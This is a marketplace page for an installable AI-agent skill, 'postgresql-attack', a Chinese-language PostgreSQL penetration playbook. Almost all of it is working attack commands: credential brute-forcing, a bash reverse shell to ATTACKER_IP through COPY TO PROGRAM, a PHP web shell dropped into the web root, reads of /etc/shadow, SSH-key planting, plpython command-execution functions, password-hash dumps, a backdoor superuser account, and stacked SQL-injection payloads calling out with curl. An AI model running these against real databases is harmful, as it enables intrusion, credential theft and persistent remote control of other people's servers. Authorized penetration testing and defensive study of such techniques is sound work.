Skip to main content Accueil Créateurs wgpsec aboutsecurity postgresql-attack
postgresql-attack PostgreSQL 渗透测试与利用。当发现目标开放 5432 端口、PostgreSQL 允许远程连接、需要从数据库提取数据或实现命令执行时使用。覆盖未授权访问、数据库枚举与导出、用户凭据提取(pg_authid 哈希)、SQL 注入变体、文件读取(pg_read_file/COPY)、命令执行(COPY TO PROGRAM)、权限提升(SUPERUSER)、Large Object 滥用、扩展利用(file_fdw/plpython)
Aller à l'installation Skills Marketplace Découvrez et explorez les compétences IA créées par la communauté.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Copier le promptAfficher les détails du prompt Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/wgpsec/AboutSecurity --skill postgresql-attackLa commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Télécharger Zip Téléchargement... Métiers associés SOC
Basé sur la classification professionnelle SOC
Explorateur de fichiers
2 fichiers name postgresql-attack description PostgreSQL 渗透测试与利用。当发现目标开放 5432 端口、PostgreSQL 允许远程连接、需要从数据库提取数据或实现命令执行时使用。覆盖未授权访问、数据库枚举与导出、用户凭据提取(pg_authid 哈希)、SQL 注入变体、文件读取(pg_read_file/COPY)、命令执行(COPY TO PROGRAM)、权限提升(SUPERUSER)、Large Object 滥用、扩展利用(file_fdw/plpython) metadata {"tags":"postgresql,postgres,5432,pg_read_file,copy-to-program,pg_authid,large-object,file_fdw,plpython,dblink,superuser","category":"exploit"}
PostgreSQL 渗透测试与利用
PostgreSQL 默认监听 5432 端口,功能强大的 SQL 引擎配合丰富的系统函数和扩展机制,一旦获得连接权限,从文件读写到操作系统命令执行仅需几条 SQL。
深入参考(必读)
Phase 1: 服务发现
1.1 端口扫描与版本识别
nmap -sV -p 5432 TARGET
nmap -p 5432 --script pgsql-brute TARGET
1.2 手动连接测试
psql -h TARGET -U postgres -c "SELECT version();"
PGPASSWORD=postgres psql -h TARGET -U postgres -c "SELECT version();"
关键判断 :
返回版本信息 -> 已连接,进入 Phase 3
返回 no pg_hba.conf entry -> 客户端 IP 未在白名单,需绕过
返回 password authentication failed -> 需要密码,进入 Phase 2
连接超时 -> 端口被防火墙拦截
Phase 2: 认证检测
2.1 pg_hba.conf 认证模式
# 常见认证方式(影响攻击路径)
trust — 无需密码,任何人可连接(最危险)
md5 — MD5 哈希认证(可爆破)
scram — SCRAM-SHA-256 认证(较安全)
peer — 仅本地 Unix socket,用户名匹配系统用户
2.2 默认凭据尝试
PGPASSWORD=postgres psql -h TARGET -U postgres -c "SELECT 1;"
PGPASSWORD=admin psql -h TARGET -U admin -c "SELECT 1;"
PGPASSWORD=password psql -h TARGET -U postgres -c "SELECT 1;"
PGPASSWORD=123456 psql -h TARGET -U postgres -c "SELECT 1;"
psql -h TARGET -U postgres -c "SELECT 1;"
2.3 暴力破解
hydra -L users.txt -P passwords.txt postgres://TARGET
nmap -p 5432 --script pgsql-brute TARGET
medusa -h TARGET -U users.txt -P passwords.txt -M postgres
msf> use auxiliary/scanner/postgres/postgres_login
msf> set RHOSTS TARGET
msf> run
Phase 3: 攻击决策树 已连接 PostgreSQL?
├─ 查询当前权限
│ SELECT current_user, current_database();
│ SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;
│
├─ SUPERUSER 权限
│ ├─ COPY TO PROGRAM 可用 -> RCE (Phase 4.1)
│ ├─ pg_read_file 可用 -> 任意文件读取 (Phase 4.2)
│ ├─ COPY FROM/TO 可用 -> 文件读写 (Phase 4.3)
│ ├─ Large Object 接口 -> 二进制文件读写 (Phase 4.4)
│ ├─ CREATE LANGUAGE -> plpython/plperlu RCE (Phase 4.5)
│ └─ pg_authid 可查 -> 凭据提取 (Phase 5.2)
│
├─ 普通用户权限
│ ├─ pg_read_file 可用(PG >= 14 默认组权限)-> 文件读取 (Phase 4.2)
│ ├─ dblink 扩展已加载 -> 内网横向 / 提权 (Phase 4.6)
│ ├─ pg_execute_server_program 组成员 -> COPY TO PROGRAM RCE
│ ├─ information_schema 可查 -> 数据库枚举 (Phase 5.1)
│ └─ 尝试提权 -> ALTER ROLE / GRANT (Phase 6)
│
└─ SQL 注入场景
├─ 堆叠注入可用 -> COPY TO PROGRAM RCE
├─ UNION 注入 -> 数据提取
├─ 时间盲注 -> pg_sleep() 探测
└─ 报错注入 -> CAST 类型转换报错
前置信息收集
psql -h TARGET -U postgres -c "SELECT current_user, current_database();"
psql -h TARGET -U postgres -c "SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;"
psql -h TARGET -U postgres -c "SELECT * FROM pg_extension;"
psql -h TARGET -U postgres -c "SELECT * FROM pg_language;"
psql -h TARGET -U postgres -c "SELECT version();"
psql -h TARGET -U postgres -c "SHOW data_directory;"
psql -h TARGET -U postgres -c "SHOW config_file;"
psql -h TARGET -U postgres -c "SHOW hba_file;"
Phase 4: RCE 与文件操作速查
4.1 COPY TO PROGRAM 命令执行(需 SUPERUSER)
psql -h TARGET -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"
psql -h TARGET -U postgres -c "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"';"
psql -h TARGET -U postgres -c "COPY (SELECT '<?php system(\$_GET[\"cmd\"]); ?>') TO PROGRAM 'tee /var/www/html/shell.php';"
4.2 文件读取
psql -h TARGET -U postgres -c "SELECT pg_read_file('/etc/passwd');"
psql -h TARGET -U postgres -c "SELECT pg_read_file('/var/lib/postgresql/data/pg_hba.conf');"
psql -h TARGET -U postgres -c "SELECT encode(pg_read_binary_file('/etc/shadow'), 'hex');"
psql -h TARGET -U postgres -c "CREATE TEMP TABLE tmp(content text); COPY tmp FROM '/etc/passwd'; SELECT * FROM tmp;"
4.3 文件写入
psql -h TARGET -U postgres -c "COPY (SELECT 'malicious content') TO '/tmp/output.txt';"
psql -h TARGET -U postgres -c "COPY (SELECT 'ssh-rsa AAAA... attacker@host') TO '/var/lib/postgresql/.ssh/authorized_keys';"
4.4 Large Object 文件读写
psql -h TARGET -U postgres -c "SELECT lo_import('/etc/passwd');"
psql -h TARGET -U postgres -c "SELECT convert_from(lo_get(12345), 'UTF8');"
psql -h TARGET -U postgres -c "SELECT lo_export(12345, '/tmp/exfil.txt');"
psql -h TARGET -U postgres -c "SELECT lo_unlink(12345);"
4.5 plpython/plperlu RCE
psql -h TARGET -U postgres -c "CREATE LANGUAGE plpython3u;"
psql -h TARGET -U postgres -c "
CREATE OR REPLACE FUNCTION cmd_exec(cmd text) RETURNS text AS \$\$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
\$\$ LANGUAGE plpython3u;"
psql -h TARGET -U postgres -c "SELECT cmd_exec('id');"
psql -h TARGET -U postgres -c "SELECT cmd_exec('cat /etc/passwd');"
psql -h TARGET -U postgres -c "CREATE LANGUAGE plperlu;"
psql -h TARGET -U postgres -c "
CREATE OR REPLACE FUNCTION cmd_exec(cmd text) RETURNS text AS \$\$
my \$output = qx(\$_[0]);
return \$output;
\$\$ LANGUAGE plperlu;"
4.6 dblink 横向移动
psql -h TARGET -U postgres -c "CREATE EXTENSION IF NOT EXISTS dblink;"
psql -h TARGET -U postgres -c "SELECT dblink_connect('conn1', 'host=INTERNAL_TARGET port=5432 user=postgres password=postgres dbname=postgres');"
psql -h TARGET -U postgres -c "SELECT * FROM dblink('conn1', 'SELECT usename, passwd FROM pg_shadow') AS t(usename text, passwd text);"
psql -h TARGET -U postgres -c "SELECT dblink_exec('conn1', 'COPY (SELECT '''') TO PROGRAM ''id''');"
Phase 5: 数据提取速查
5.1 数据库枚举
psql -h TARGET -U postgres -c "\l"
psql -h TARGET -U postgres -d DATABASE_NAME -c "\dt *.*"
psql -h TARGET -U postgres -d DATABASE_NAME -c "\dn"
psql -h TARGET -U postgres -c "\du"
psql -h TARGET -U postgres -d DATABASE_NAME -c "SELECT tablename FROM pg_tables WHERE tablename LIKE '%password%' OR tablename LIKE '%secret%' OR tablename LIKE '%user%';"
psql -h TARGET -U postgres -d DATABASE_NAME -c "SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%password%' OR column_name LIKE '%secret%' OR column_name LIKE '%token%';"
5.2 凭据提取
psql -h TARGET -U postgres -c "SELECT rolname, rolpassword FROM pg_authid;"
psql -h TARGET -U postgres -c "SELECT usename, passwd FROM pg_shadow;"
5.3 数据导出
pg_dump -h TARGET -U postgres DATABASE_NAME > dump.sql
pg_dump -h TARGET -U postgres -t table_name DATABASE_NAME > table_dump.sql
pg_dumpall -h TARGET -U postgres > full_dump.sql
psql -h TARGET -U postgres -d DATABASE_NAME -c "COPY (SELECT * FROM users) TO STDOUT WITH CSV HEADER;"
Phase 6: 权限提升
psql -h TARGET -U postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles;"
psql -h TARGET -U postgres -c "SELECT r.rolname, m.rolname AS member_of FROM pg_auth_members am JOIN pg_roles r ON am.roleid = r.oid JOIN pg_roles m ON am.member = m.oid;"
提权路径 当前权限?
├─ 有 CREATEROLE 权限
│ ├─ GRANT pg_execute_server_program TO current_user; -> COPY TO PROGRAM RCE
│ ├─ GRANT pg_read_server_files TO current_user; -> 任意文件读取
│ └─ GRANT pg_write_server_files TO current_user; -> 任意文件写入
│
├─ 可修改 pg_hba.conf(通过文件写入)
│ └─ 改为 trust 认证 -> 以 SUPERUSER 重新登录
│
├─ 已有 SUPERUSER
│ ├─ ALTER ROLE attacker WITH SUPERUSER; -> 给其他用户提权
│ └─ CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'pass'; -> 创建后门账户
│
└─ dblink 可用
└─ 通过 dblink 以 postgres 身份本地连接(可能绕过认证)
SQL 注入速查
' UNION SELECT NULL, version()--
# 当前用户
' UNION SELECT NULL, current_user--
' UNION SELECT NULL, datname FROM pg_database--
# 表列表
' UNION SELECT NULL, tablename FROM pg_tables WHERE schemaname='public' --
'; SELECT pg_sleep(5)--
# 堆叠注入 + RCE(最高威胁)
' ; COPY (SELECT '' ) TO PROGRAM 'curl http://ATTACKER_IP/rce' --
' AND 1=CAST((SELECT version()) AS int)--
# 布尔盲注
' AND (SELECT SUBSTRING(version(),1,1))='P' --
工具速查 工具 用途 psql PostgreSQL 官方客户端 pgcli 带自动补全的增强客户端 pg_dump / pg_dumpall 数据库导出工具 hydra / medusa PostgreSQL 密码爆破 nmap pgsql-brute Nmap 内置爆破脚本 sqlmap SQL 注入自动化检测与利用 Metasploit PostgreSQL 模块集合(登录/枚举/RCE)
注意事项
COPY TO PROGRAM 是 PostgreSQL 9.3+ 引入的,低版本不可用
pg_read_file 默认只能读取 data_directory 下的文件,SUPERUSER 可读任意路径
plpython3u / plperlu 中的 u 表示 untrusted(不受信任),仅 SUPERUSER 可创建
Large Object 操作需要在事务中执行,psql 默认自动提交需注意
PostgreSQL 日志会记录所有执行的 SQL,注意 log_statement 配置级别
pg_hba.conf 修改后需 SELECT pg_reload_conf(); 或重启生效
云托管 PostgreSQL(RDS/Cloud SQL)通常禁用 COPY TO PROGRAM 和文件系统访问